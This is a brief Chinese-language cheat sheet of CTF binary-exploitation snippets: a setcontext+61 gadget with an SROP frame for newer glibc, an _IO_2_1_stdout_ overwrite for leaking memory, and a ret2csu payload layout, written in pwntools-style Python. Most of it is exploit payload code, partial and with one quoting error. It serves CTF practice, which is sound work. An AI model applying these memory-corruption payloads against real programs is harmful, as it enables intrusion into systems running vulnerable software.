Code Snippets for Pwn

这里记录一些做CTF pwn题中大概也许可能会复用的代码片段.

magic_gadget + setcontext+61 (高版本glibc)

注1: the_gadget 即

   0x154b20:	mov    rdx,QWORD PTR [rdi+0x8]
   0x154b24:	mov    QWORD PTR [rsp],rax
   0x154b28:	call   QWORD PTR [rdx+0x20]

SROP+伪造栈帧,按需布置伪栈帧和ROP链即可:

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rsp = ROP_address
    frame.rip = ret

    frame_str = str(frame).ljust(frame_size,"\x00)
    payload = p64(the_gadget) + p64(frame_addr) + p64(0)*4 + p64(setcontext+61) + frame_str[0x28:] 
    payload += .....          #other stuff and ROP chain

_IO_2_1_stdout_

gdb查找语句:

p &_IO_2_1_stdout_

覆盖为:

payload = p64(0xfbad1800)+p64(0x0)*3+'\x00'

ret2CSU

payload = p6r + p64(0) + p64(1) + fuction_ptr\ 
    + arg3 + arg2 + arg1 + mov_call\
    + "\x00"*56 + return_address